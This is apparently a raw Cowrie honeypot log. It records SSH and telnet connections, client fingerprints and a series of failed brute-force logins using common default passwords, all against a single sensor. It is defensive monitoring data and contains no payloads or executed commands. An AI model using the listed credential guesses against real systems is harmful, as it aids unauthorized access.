{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:02:20.489403Z","src_ip":"157.230.18.133","session":"e4de7259a941","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:02:20.575835Z","src_ip":"157.230.18.133","session":"e4de7259a941","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"r","password":"123456","message":"login attempt [r/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:02:20.952991Z","src_ip":"157.230.18.133","session":"e4de7259a941","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:02:22.042200Z","src_ip":"157.230.18.133","session":"e4de7259a941","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":54660,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ed08853451f","protocol":"telnet","message":"New connection: 170.64.224.25:54660 (159.203.135.109:23) [session: 3ed08853451f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:02:22.663149Z"}
{"eventid":"cowrie.session.closed","duration":46.60682415962219,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:02:23.352760Z","src_ip":"137.184.5.188","session":"dd16d3bc6a4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.195","src_port":51344,"dst_ip":"10.17.0.5","dst_port":22,"session":"af3b10a0d0f2","protocol":"ssh","message":"New connection: 185.242.3.195:51344 (10.17.0.5:22) [session: af3b10a0d0f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:02:30.280712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:02:30.284782Z","src_ip":"185.242.3.195","session":"af3b10a0d0f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:02:30.376333Z","src_ip":"185.242.3.195","session":"af3b10a0d0f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword!123","message":"login attempt [root/P@ssword!123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:02:30.652717Z","src_ip":"185.242.3.195","session":"af3b10a0d0f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:02:31.745816Z","src_ip":"185.242.3.195","session":"af3b10a0d0f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41376,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5f0fc8b27ac","protocol":"telnet","message":"New connection: 170.64.224.25:41376 (159.203.135.109:23) [session: d5f0fc8b27ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:02:49.260811Z"}
{"eventid":"cowrie.session.closed","duration":120.00347709655762,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:02:51.984614Z","src_ip":"107.6.151.170","session":"f78a3cf3eea8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":60222,"dst_ip":"159.203.135.109","dst_port":23,"session":"f271738c461d","protocol":"telnet","message":"New connection: 170.64.224.25:60222 (159.203.135.109:23) [session: f271738c461d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:03:03.081718Z"}
{"eventid":"cowrie.session.closed","duration":60.28007388114929,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:03:06.776556Z","src_ip":"170.64.224.25","session":"8f99d029c395","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":36936,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c7a235021e1","protocol":"ssh","message":"New connection: 91.92.40.4:36936 (10.17.0.5:22) [session: 2c7a235021e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:03:09.576679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:03:09.581165Z","src_ip":"91.92.40.4","session":"2c7a235021e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:03:09.669281Z","src_ip":"91.92.40.4","session":"2c7a235021e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:03:10.096301Z","src_ip":"91.92.40.4","session":"2c7a235021e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:03:11.180450Z","src_ip":"91.92.40.4","session":"2c7a235021e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.88095426559448,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:03:13.543964Z","src_ip":"170.64.224.25","session":"3ed08853451f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.215.213.210","src_port":53308,"dst_ip":"10.17.0.5","dst_port":22,"session":"5226c75e32f1","protocol":"ssh","message":"New connection: 162.215.213.210:53308 (10.17.0.5:22) [session: 5226c75e32f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:03:16.576068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:03:16.580032Z","src_ip":"162.215.213.210","session":"5226c75e32f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:03:16.671100Z","src_ip":"162.215.213.210","session":"5226c75e32f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cow456","message":"login attempt [root/cow456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:03:16.940057Z","src_ip":"162.215.213.210","session":"5226c75e32f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:03:18.324131Z","src_ip":"162.215.213.210","session":"5226c75e32f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39570,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb93a1a5660f","protocol":"telnet","message":"New connection: 170.64.224.25:39570 (159.203.135.109:23) [session: cb93a1a5660f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:03:26.016644Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.32.145.199","src_port":52122,"dst_ip":"10.17.0.5","dst_port":22,"session":"4697f38b3d76","protocol":"ssh","message":"New connection: 101.32.145.199:52122 (10.17.0.5:22) [session: 4697f38b3d76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:03:26.438754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:03:26.447274Z","src_ip":"101.32.145.199","session":"4697f38b3d76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:03:26.688653Z","src_ip":"101.32.145.199","session":"4697f38b3d76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39578,"dst_ip":"159.203.135.109","dst_port":23,"session":"f352c83f1e4e","protocol":"telnet","message":"New connection: 170.64.224.25:39578 (159.203.135.109:23) [session: f352c83f1e4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:03:27.282220Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qazxsw2","message":"login attempt [admin/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:03:27.680637Z","src_ip":"101.32.145.199","session":"4697f38b3d76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:03:28.935192Z","src_ip":"101.32.145.199","session":"4697f38b3d76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.0449533462524414,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:03:29.061469Z","src_ip":"170.64.224.25","session":"cb93a1a5660f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.676931858062744,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:03:30.937617Z","src_ip":"170.64.224.25","session":"d5f0fc8b27ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.00473403930664,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:03:36.086314Z","src_ip":"170.64.224.25","session":"f271738c461d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":42274,"dst_ip":"159.203.135.109","dst_port":23,"session":"298f27f9759c","protocol":"telnet","message":"New connection: 170.64.224.25:42274 (159.203.135.109:23) [session: 298f27f9759c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:03:42.624940Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.18.133","src_port":58494,"dst_ip":"159.203.135.109","dst_port":22,"session":"3784aef1624c","protocol":"ssh","message":"New connection: 157.230.18.133:58494 (159.203.135.109:22) [session: 3784aef1624c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:03:48.733395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:03:48.737242Z","src_ip":"157.230.18.133","session":"3784aef1624c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:03:48.816520Z","src_ip":"157.230.18.133","session":"3784aef1624c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newserver","password":"123456","message":"login attempt [newserver/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:03:49.166209Z","src_ip":"157.230.18.133","session":"3784aef1624c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:03:50.248646Z","src_ip":"157.230.18.133","session":"3784aef1624c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.108.100.117","src_port":52714,"dst_ip":"10.17.0.5","dst_port":22,"session":"aeca7dc0d207","protocol":"ssh","message":"New connection: 222.108.100.117:52714 (10.17.0.5:22) [session: aeca7dc0d207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:04:00.008199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:04:00.014502Z","src_ip":"222.108.100.117","session":"aeca7dc0d207","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:04:00.219830Z","src_ip":"222.108.100.117","session":"aeca7dc0d207","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgresql","message":"login attempt [postgres/postgresql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:04:01.074920Z","src_ip":"222.108.100.117","session":"aeca7dc0d207","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:04:02.282412Z","src_ip":"222.108.100.117","session":"aeca7dc0d207","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":48878,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ad5d49c59db","protocol":"telnet","message":"New connection: 170.64.224.25:48878 (159.203.135.109:23) [session: 9ad5d49c59db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:04:05.934521Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":52850,"dst_ip":"159.203.135.109","dst_port":23,"session":"42673639eb08","protocol":"telnet","message":"New connection: 107.6.151.170:52850 (159.203.135.109:23) [session: 42673639eb08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:04:09.427206Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":46728,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3ca5509f802","protocol":"telnet","message":"New connection: 94.23.66.112:46728 (10.17.0.5:23) [session: f3ca5509f802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:04:13.738854Z"}
